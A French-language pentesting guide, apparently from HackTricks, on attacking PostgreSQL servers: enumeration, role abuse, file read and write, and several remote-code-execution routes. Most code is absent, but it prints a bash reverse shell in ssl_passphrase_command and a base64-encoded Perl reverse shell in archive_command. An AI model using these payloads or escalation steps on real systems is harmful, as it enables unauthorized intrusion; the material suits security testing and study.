5432,5433 - Pentesting Postgresql
Utilisez Trickest pour construire facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui :
Informations de base
PostgreSQL est décrit comme un système de base de données objet-relationnel qui est open source. Ce système n'utilise pas seulement le langage SQL mais l'améliore également avec des fonctionnalités supplémentaires. Ses capacités lui permettent de gérer une large gamme de types de données et d'opérations, en en faisant un choix polyvalent pour les développeurs et les organisations.
Port par défaut : 5432, et si ce port est déjà utilisé, il semble que postgresql utilisera le port suivant (5433 probablement) qui n'est pas utilisé.
Connexion & Énumération de base
Si en exécutant \list
vous trouvez une base de données appelée rdsadmin
, vous savez que vous êtes à l'intérieur d'une base de données PostgreSQL AWS.
Pour plus d'informations sur comment abuser d'une base de données PostgreSQL, consultez :
PostgreSQL injectionÉnumération Automatique
Analyse de ports
Selon cette recherche, lorsqu'une tentative de connexion échoue, dblink
lance une exception sqlclient_unable_to_establish_sqlconnection
incluant une explication de l'erreur. Des exemples de ces détails sont énumérés ci-dessous.
L'hôte est hors ligne
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
Le port est fermé
Le port est ouvert
Le port est ouvert ou filtré
Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir les détails des exceptions. Cependant, si vous avez un accès direct au serveur PostgreSQL, vous pouvez récupérer les informations nécessaires. Si l'extraction des noms d'utilisateur et des mots de passe à partir des tables système n'est pas réalisable, vous pouvez envisager d'utiliser la méthode d'attaque par liste de mots discutée dans la section précédente, car elle pourrait potentiellement donner des résultats positifs.
Énumération des privilèges
Rôles
Types de rôles | |
---|---|
rolsuper | Le rôle a des privilèges de superutilisateur |
rolinherit | Le rôle hérite automatiquement des privilèges des rôles dont il est membre |
rolcreaterole | Le rôle peut créer d'autres rôles |
rolcreatedb | Le rôle peut créer des bases de données |
rolcanlogin | Le rôle peut se connecter. C'est-à-dire que ce rôle peut être donné en tant qu'identifiant d'autorisation de session initial |
rolreplication | Le rôle est un rôle de réplication. Un rôle de réplication peut initier des connexions de réplication et créer et supprimer des emplacements de réplication. |
rolconnlimit | Pour les rôles pouvant se connecter, cela définit le nombre maximal de connexions simultanées que ce rôle peut établir. -1 signifie aucune limite. |
rolpassword | Pas le mot de passe (toujours affiché comme |
rolvaliduntil | Heure d'expiration du mot de passe (utilisée uniquement pour l'authentification par mot de passe) ; null s'il n'y a pas d'expiration |
rolbypassrls | Le rôle contourne chaque stratégie de sécurité au niveau des lignes, voir Section 5.8 pour plus d'informations. |
rolconfig | Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution |
oid | ID du rôle |
Groupes intéressants
Si vous êtes membre de
pg_execute_server_program
vous pouvez exécuter des programmesSi vous êtes membre de
pg_read_server_files
vous pouvez lire des fichiersSi vous êtes membre de
pg_write_server_files
vous pouvez écrire des fichiers
Notez que dans Postgres un utilisateur, un groupe et un rôle sont les mêmes. Cela dépend simplement de la manière dont vous l'utilisez et si vous l'autorisez à se connecter.
Tables
Les tables dans une base de données PostgreSQL peuvent contenir des données sensibles telles que des informations utilisateur, des mots de passe et d'autres données confidentielles. Lors de l'évaluation de la sécurité d'une base de données PostgreSQL, il est important de vérifier les autorisations d'accès aux tables, les vulnérabilités connues et les configurations de sécurité.
Fonctions
Actions sur le système de fichiers
Lire les répertoires et les fichiers
À partir de ce commit, les membres du groupe défini DEFAULT_ROLE_READ_SERVER_FILES
(appelé pg_read_server_files
) et les super utilisateurs peuvent utiliser la méthode COPY
sur n'importe quel chemin (consultez convert_and_check_filename
dans genfile.c
):
N'oubliez pas que si vous n'êtes pas un super utilisateur mais avez les autorisations CREATEROLE, vous pouvez vous ajouter en tant que membre de ce groupe :
Il existe d'autres fonctions postgres qui peuvent être utilisées pour lire un fichier ou lister un répertoire. Seuls les superutilisateurs et les utilisateurs avec des autorisations explicites peuvent les utiliser:
Vous pouvez trouver plus de fonctions dans https://www.postgresql.org/docs/current/functions-admin.html
Écriture de fichiers simple
Seuls les super utilisateurs et les membres de pg_write_server_files
peuvent utiliser la copie pour écrire des fichiers.
N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez la permission CREATER
, vous pouvez vous ajouter en tant que membre de ce groupe :
Rappelez-vous que COPY ne peut pas gérer les caractères de nouvelle ligne, donc même si vous utilisez une charge utile en base64, vous devez envoyer une seule ligne.
Une limitation très importante de cette technique est que copy
ne peut pas être utilisé pour écrire des fichiers binaires car il modifie certaines valeurs binaires.
Téléchargement de fichiers binaires
Cependant, il existe d'autres techniques pour télécharger de gros fichiers binaires:
Big Binary Files Upload (PostgreSQL)Astuce de prime de bug: inscrivez-vous sur Intigriti, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui, et commencez à gagner des primes allant jusqu'à 100 000 $!
Mise à jour des données de table PostgreSQL via l'écriture de fichiers locaux
Si vous avez les autorisations nécessaires pour lire et écrire des fichiers serveur PostgreSQL, vous pouvez mettre à jour n'importe quelle table sur le serveur en écrasant le nœud de fichier associé dans le répertoire de données PostgreSQL. Plus sur cette technique ici.
Étapes requises:
Obtenez le répertoire de données PostgreSQL
Remarque: Si vous ne parvenez pas à récupérer le chemin du répertoire de données actuel à partir des paramètres, vous pouvez interroger la version majeure de PostgreSQL via la requête SELECT version()
et essayer de forcer le chemin. Les chemins de répertoire de données courants sur les installations Unix de PostgreSQL sont /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Un nom de cluster courant est main
. 2. Obtenez un chemin relatif vers le nœud de fichier, associé à la table cible
Cette requête devrait renvoyer quelque chose comme base/3/1337
. Le chemin complet sur le disque sera $DATA_DIRECTORY/base/3/1337
, c'est-à-dire /var/lib/postgresql/13/main/base/3/1337
. 3. Téléchargez le nœud de fichier via les fonctions lo_*
Obtenez le type de données, associé à la table cible
Utilisez l'Éditeur de nœud de fichier PostgreSQL pour modifier le nœud de fichier; définissez tous les indicateurs booléens
rol*
sur 1 pour des autorisations complètes.
6. Rechargez le nœud de fichier modifié via les fonctions lo_*
, et écrasez le fichier original sur le disque
(Facultatif) Effacez le cache de table en mémoire en exécutant une requête SQL coûteuse
Vous devriez maintenant voir les valeurs de table mises à jour dans PostgreSQL.
Vous pouvez également devenir superadmin en modifiant la table pg_authid
. Voir la section suivante.
RCE
RCE vers un programme
Depuis la version 9.3, seuls les super utilisateurs et les membres du groupe pg_execute_server_program
peuvent utiliser copy pour RCE (exemple avec exfiltration:
Exemple à exécuter :
N'oubliez pas que si vous n'êtes pas un super utilisateur mais avez les autorisations CREATEROLE
, vous pouvez vous ajouter en tant que membre de ce groupe :
Ou utilisez le module multi/postgres/postgres_copy_from_program_cmd_exec
de metasploit.
Plus d'informations sur cette vulnérabilité ici. Alors que signalée comme CVE-2019-9193, Postges a déclaré que c'était une fonctionnalité et ne sera pas corrigée.
RCE avec les langages PostgreSQL
RCE with PostgreSQL LanguagesRCE avec les extensions PostgreSQL
Une fois que vous avez appris du post précédent comment télécharger des fichiers binaires, vous pourriez essayer d'obtenir une exécution de code à distance en téléchargeant une extension PostgreSQL et en la chargeant.
RCE with PostgreSQL ExtensionsRCE avec le fichier de configuration PostgreSQL
Les vecteurs RCE suivants sont particulièrement utiles dans des contextes d'injection SQL contraints, car toutes les étapes peuvent être effectuées à travers des instructions SELECT imbriquées.
Le fichier de configuration de PostgreSQL est modifiable par l'utilisateur postgres, qui est celui qui exécute la base de données, donc en tant que superutilisateur, vous pouvez écrire des fichiers dans le système de fichiers, et donc vous pouvez écraser ce fichier.
RCE avec ssl_passphrase_command
Plus d'informations sur cette technique ici.
Le fichier de configuration a quelques attributs intéressants qui peuvent conduire à une RCE :
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Chemin de la clé privée de la base de donnéesssl_passphrase_command = ''
Si le fichier privé est protégé par un mot de passe (chiffré), PostgreSQL exécutera la commande indiquée dans cet attribut.ssl_passphrase_command_supports_reload = off
Si cet attribut est activé, la commande exécutée si la clé est protégée par un mot de passe sera exécutée lorsquepg_reload_conf()
est exécuté.
Ensuite, un attaquant devra :
Extraire la clé privée du serveur
Chiffrer la clé privée téléchargée :
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Écraser
Extraire la configuration actuelle de PostgreSQL
Écraser la configuration avec la configuration des attributs mentionnés :
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Exécuter
pg_reload_conf()
En testant cela, j'ai remarqué que cela ne fonctionnera que si le fichier de clé privée a des privilèges 640, qu'il est possédé par root et par le groupe ssl-cert ou postgres (pour que l'utilisateur postgres puisse le lire), et qu'il est placé dans /var/lib/postgresql/12/main.
RCE avec archive_command
Plus d'informations sur cette configuration et sur WAL ici.
Un autre attribut dans le fichier de configuration qui est exploitable est archive_command
.
Pour que cela fonctionne, le paramètre archive_mode
doit être 'on'
ou 'always'
. Si c'est le cas, alors nous pourrions écraser la commande dans archive_command
et la forcer à s'exécuter via les opérations de WAL (write-ahead logging).
Les étapes générales sont :
Vérifier si le mode archive est activé :
SELECT current_setting('archive_mode')
Écraser
archive_command
avec la charge utile. Par exemple, un shell inversé :archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Recharger la configuration :
SELECT pg_reload_conf()
Forcer l'opération WAL à s'exécuter, ce qui appellera la commande d'archivage :
SELECT pg_switch_wal()
ouSELECT pg_switch_xlog()
pour certaines versions de Postgres
RCE avec les bibliothèques de préchargement
Plus d'informations sur cette technique ici.
Ce vecteur d'attaque tire parti des variables de configuration suivantes :
session_preload_libraries
-- bibliothèques qui seront chargées par le serveur PostgreSQL à la connexion du client.dynamic_library_path
-- liste des répertoires où le serveur PostgreSQL recherchera les bibliothèques.
Nous pouvons définir la valeur de dynamic_library_path
sur un répertoire, accessible en écriture par l'utilisateur postgres
exécutant la base de données, par exemple, le répertoire /tmp/
, et télécharger un objet malveillant .so
là-bas. Ensuite, nous forcerons le serveur PostgreSQL à charger notre nouvelle bibliothèque téléchargée en l'incluant dans la variable session_preload_libraries
.
Les étapes de l'attaque sont :
Télécharger le
postgresql.conf
originalInclure le répertoire
/tmp/
dans la valeur dedynamic_library_path
, par exempledynamic_library_path = '/tmp:$libdir'
Inclure le nom de la bibliothèque malveillante dans la valeur de
session_preload_libraries
, par exemplesession_preload_libraries = 'payload.so'
Vérifier la version majeure de PostgreSQL via la requête
SELECT version()
Compiler le code de la bibliothèque malveillante avec le package dev PostgreSQL correct Exemple de code :
Compilation du code :
Télécharger le
postgresql.conf
malveillant, créé aux étapes 2-3, et écraser l'originalTélécharger le
payload.so
de l'étape 5 dans le répertoire/tmp
Recharger la configuration du serveur en redémarrant le serveur ou en invoquant la requête
SELECT pg_reload_conf()
À la prochaine connexion à la base de données, vous recevrez la connexion du shell inversé.
Élévation de privilèges Postgres
Élévation de privilèges CREATEROLE
Accorder
Selon les documents: Les rôles ayant le privilège CREATEROLE
peuvent accorder ou révoquer l'appartenance à n'importe quel rôle qui n'est pas un superutilisateur.
Ainsi, si vous avez la permission CREATEROLE
, vous pourriez vous accorder l'accès à d'autres rôles (qui ne sont pas des superutilisateurs) pouvant vous donner la possibilité de lire et écrire des fichiers et d'exécuter des commandes:
Modifier le mot de passe
Les utilisateurs avec ce rôle peuvent également changer les mots de passe des autres non-superutilisateurs:
Élévation de privilèges vers SUPERUSER
Il est assez courant de constater que les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe. Par conséquent, une fois que vous avez obtenu les autorisations pour exécuter du code, vous pouvez abuser de ces autorisations pour obtenir le rôle de SUPERUSER
:
Cela est généralement possible en raison des lignes suivantes dans le fichier pg_hba.conf
:
ALTER TABLE privesc
Dans cette analyse, il est expliqué comment il était possible de réaliser une élévation de privilèges dans Postgres GCP en abusant du privilège ALTER TABLE qui avait été accordé à l'utilisateur.
Lorsque vous essayez de changer le propriétaire d'une table pour un autre utilisateur, vous devriez normalement obtenir une erreur vous en empêchant, mais apparemment GCP a donné cette option à l'utilisateur postgres non-superutilisateur dans GCP :
En associant cette idée au fait que lorsque les commandes INSERT/UPDATE/ANALYZE sont exécutées sur une table avec une fonction d'index, la fonction est appelée dans le cadre de la commande avec les permissions du propriétaire de la table. Il est possible de créer un index avec une fonction, donner les permissions de propriétaire à un superutilisateur sur cette table, puis exécuter ANALYZE sur la table avec la fonction malveillante qui pourra exécuter des commandes car elle utilise les privilèges du propriétaire.
Exploitation
Commencez par créer une nouvelle table.
Insérez du contenu non pertinent dans la table pour fournir des données à la fonction d'index.
Développez une fonction d'index malveillante contenant une charge utile d'exécution de code, permettant l'exécution de commandes non autorisées.
MODIFIEZ le propriétaire de la table en "cloudsqladmin", qui est le rôle superutilisateur de GCP exclusivement utilisé par Cloud SQL pour gérer et maintenir la base de données.
Effectuez une opération ANALYZE sur la table. Cette action contraint le moteur PostgreSQL à passer au contexte utilisateur du propriétaire de la table, "cloudsqladmin". Par conséquent, la fonction d'index malveillante est appelée avec les autorisations de "cloudsqladmin", permettant ainsi l'exécution de la commande shell précédemment non autorisée.
Dans PostgreSQL, ce flux ressemble à ceci :